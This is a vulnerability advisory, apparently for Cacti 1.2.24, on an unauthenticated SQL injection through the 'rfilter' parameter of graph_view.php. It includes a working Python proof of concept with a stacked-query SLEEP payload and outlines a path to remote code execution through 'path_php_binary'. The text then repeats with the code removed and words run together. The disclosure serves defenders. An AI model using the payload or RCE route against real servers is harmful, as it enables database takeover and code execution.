Summary
During the review of this project, a SQL injection vulnerability was discovered in graph_view.php. Since guest users can access graph_view.php without authentication by default, if guest users are being utilized in an enabled state, there could be the potential for significant damage. Attackers may exploit this vulnerability, and there may be possibilities for actions such as the usurpation of administrative privileges or remote code execution.
Details
The vulnerability resides within the grow_right_pane_tree
function, invoked from the graph_view.php
file. In the tree_content
case, user input is validated through the html_validate_tree_vars
function, and subsequently, the grow_right_pane_tree
function is called if the tree_id
parameter is greater than 0.
graph_view.php
switch (get_nfilter_request_var('action')) {
// ...
case 'tree_content':
html_validate_tree_vars();
// ...
if ($tree_id > 0) {
if (!is_tree_allowed($tree_id)) {
header('Location: permission_denied.php');
exit;
}
grow_right_pane_tree($tree_id, $node_id, $hgdata);
}
The grow_right_pane_tree
function directly uses the user input parameter rfilter
in the WHERE clause with RLIKE as follows. The rfilter parameter is validated in the html_validate_tree_vars
function of graph_view.php
, but this validation only ensures that rfilter is correct as a regular expression and does not guarantee that it does not contain SQL code.
lib/html_tree.php
function grow_right_pane_tree($tree_id, $leaf_id, $host_group_data) {
// ...
if (($leaf_type == 'header') || (empty($leaf_id))) {
$sql_where = '';
if (get_request_var('rfilter') != '') {
$sql_where .= ' (gtg.title_cache RLIKE "' . get_request_var('rfilter') . '" OR gtg.title RLIKE "' . get_request_var('rfilter') . '")';
}
// ...
$graph_list = get_allowed_tree_header_graphs($tree_id, $leaf_id, $sql_where);
}
Let's examine how the rfilter
parameter is validated. The html_validate_tree_vars function
sets the filter type to FILTER_VALIDATE_IS_REGEX
and calls the validate_store_request_vars
function.
lib/html_tree.php
function html_validate_tree_vars() {
// ...
/* ================= input validation and session storage ================= */
$filters = array(
// ...
'rfilter' => array(
'filter' => FILTER_VALIDATE_IS_REGEX,
'pageset' => true,
'default' => '',
),
// ...
);
validate_store_request_vars($filters, 'sess_grt');
validate_store_request_vars
is a function that verifies user input based on the set filter type. If the filter type is FILTER_VALIDATE_IS_REGEX
, the validate_is_regex
function checks if the value is a valid regular expression. The validate_is_regex
function inserts user input into preg_match
to verify that it is a valid regular expression. Note that single quotation marks are used as the delimiter for the regular expression. This delimiter is the only protection that the FILTER_VALIDATE_IS_REGEX
filter offers against SQL injection. It becomes difficult to escape from the WHERE clause and insert an SQL statement since the delimiter character must be escaped within the regular expression.
lib/html_utility.php
function validate_store_request_vars(array $filters, string $sess_prefix = ''):void {
// ...
if (cacti_sizeof($filters)) {
foreach ($filters as $variable => $options) {
// Establish the session variable first
if ($sess_prefix != '') {
// ...
} else {
if (get_nfilter_request_var($variable) == '0') {
// ...
} elseif ($options['filter'] == FILTER_VALIDATE_IS_REGEX) {
if (is_base64_encoded($_REQUEST[$variable])) {
$_REQUEST[$variable] = base64_decode($_REQUEST[$variable], true);
}
$valid = validate_is_regex($_REQUEST[$variable]);
if ($valid === true) {
$value = $_REQUEST[$variable];
} else {
$value = false;
$custom_error = $valid;
}
// ...
function validate_is_regex($regex) {
// ...
if (@preg_match("'" . $regex . "'", NULL) !== false) {
ini_set('track_errors', $track_errors);
return true;
}
However, in the grow_right_pane_tree
function, double quotation marks are used for the RLIKE quotes. This means that the user input validation is not functioning at all. Attackers may insert SQL code into the rfilter
parameter in such a way that it forms a valid regular expression, enabling SQL injection attacks.
lib/html_tree.php
function grow_right_pane_tree($tree_id, $leaf_id, $host_group_data) {
// ...
$sql_where .= ' (gtg.title_cache RLIKE "' . get_request_var('rfilter') . '" OR gtg.title RLIKE "' . get_request_var('rfilter') . '")';
PoC
By running the following Python3 code, you will observe a delay of 10 seconds in the response, which indicates the occurrence of SQL injection.
import argparse
import requests
import sys
import urllib3
#import os
#os.environ['http_proxy'] = 'http://localhost:8080'
sleep_time = 10
payload = f""""OR ""="(("));SELECT SLEEP({sleep_time});-- -"""
def exploit():
url = f"{target}/graph_view.php"
params = {
"action":"tree_content",
"node":"1-1-tree_anchor",
"rfilter":payload
}
print('[+] Sending payload...')
print(f"[+] Payload: {payload}")
session.get(url,params=params)
if __name__=='__main__':
urllib3.disable_warnings()
parser = argparse.ArgumentParser(description="Cacti 1.2.24 - graph_view.php 'rfilter' SQL Injection (guest access)")
parser.add_argument('-t','--target',help='',required=True)
args = parser.parse_args()
target = args.target
session = requests.Session()
exploit()


Impact
This vulnerability presents a significant risk as it allows for unauthenticated access to the SQL injection vulnerability. Since guest users can access the affected graph_view.php page without authentication, attackers may exploit this vulnerability to usurp administrative privileges and execute remote code, potentially compromising the system's integrity and confidentiality.
As the application accepts stacked queries, it is possible to achieve remote code execution by altering the 'path_php_binary' value in the database. This could result in significant damage, especially if guest users are being utilized in an enabled state. The potential actions that could be performed by an attacker include the usurpation of administrative privileges or remote code execution, leading to unauthorized control and access over the system.
Summary
During the review of this project, a SQL injection vulnerability was discovered in graph_view.php. Since guest users can access graph_view.php without authentication by default, if guest users are being utilized in an enabled state, there could be the potential for significant damage. Attackers may exploit this vulnerability, and there may be possibilities for actions such as the usurpation of administrative privileges or remote code execution.
Details
The vulnerability resides within the
grow_right_pane_tree
function, invoked from thegraph_view.php
file. In thetree_content
case, user input is validated through thehtml_validate_tree_vars
function, and subsequently, thegrow_right_pane_tree
function is called if thetree_id
parameter is greater than 0.graph_view.php
The
grow_right_pane_tree
function directly uses the user input parameterrfilter
in the WHERE clause with RLIKE as follows. The rfilter parameter is validated in thehtml_validate_tree_vars
function ofgraph_view.php
, but this validation only ensures that rfilter is correct as a regular expression and does not guarantee that it does not contain SQL code.lib/html_tree.php
Let's examine how the
rfilter
parameter is validated. Thehtml_validate_tree_vars function
sets the filter type toFILTER_VALIDATE_IS_REGEX
and calls thevalidate_store_request_vars
function.lib/html_tree.php
validate_store_request_vars
is a function that verifies user input based on the set filter type. If the filter type isFILTER_VALIDATE_IS_REGEX
, thevalidate_is_regex
function checks if the value is a valid regular expression. Thevalidate_is_regex
function inserts user input intopreg_match
to verify that it is a valid regular expression. Note that single quotation marks are used as the delimiter for the regular expression. This delimiter is the only protection that theFILTER_VALIDATE_IS_REGEX
filter offers against SQL injection. It becomes difficult to escape from the WHERE clause and insert an SQL statement since the delimiter character must be escaped within the regular expression.lib/html_utility.php
However, in the
grow_right_pane_tree
function, double quotation marks are used for the RLIKE quotes. This means that the user input validation is not functioning at all. Attackers may insert SQL code into therfilter
parameter in such a way that it forms a valid regular expression, enabling SQL injection attacks.lib/html_tree.php
PoC
By running the following Python3 code, you will observe a delay of 10 seconds in the response, which indicates the occurrence of SQL injection.
Impact
This vulnerability presents a significant risk as it allows for unauthenticated access to the SQL injection vulnerability. Since guest users can access the affected graph_view.php page without authentication, attackers may exploit this vulnerability to usurp administrative privileges and execute remote code, potentially compromising the system's integrity and confidentiality.
As the application accepts stacked queries, it is possible to achieve remote code execution by altering the 'path_php_binary' value in the database. This could result in significant damage, especially if guest users are being utilized in an enabled state. The potential actions that could be performed by an attacker include the usurpation of administrative privileges or remote code execution, leading to unauthorized control and access over the system.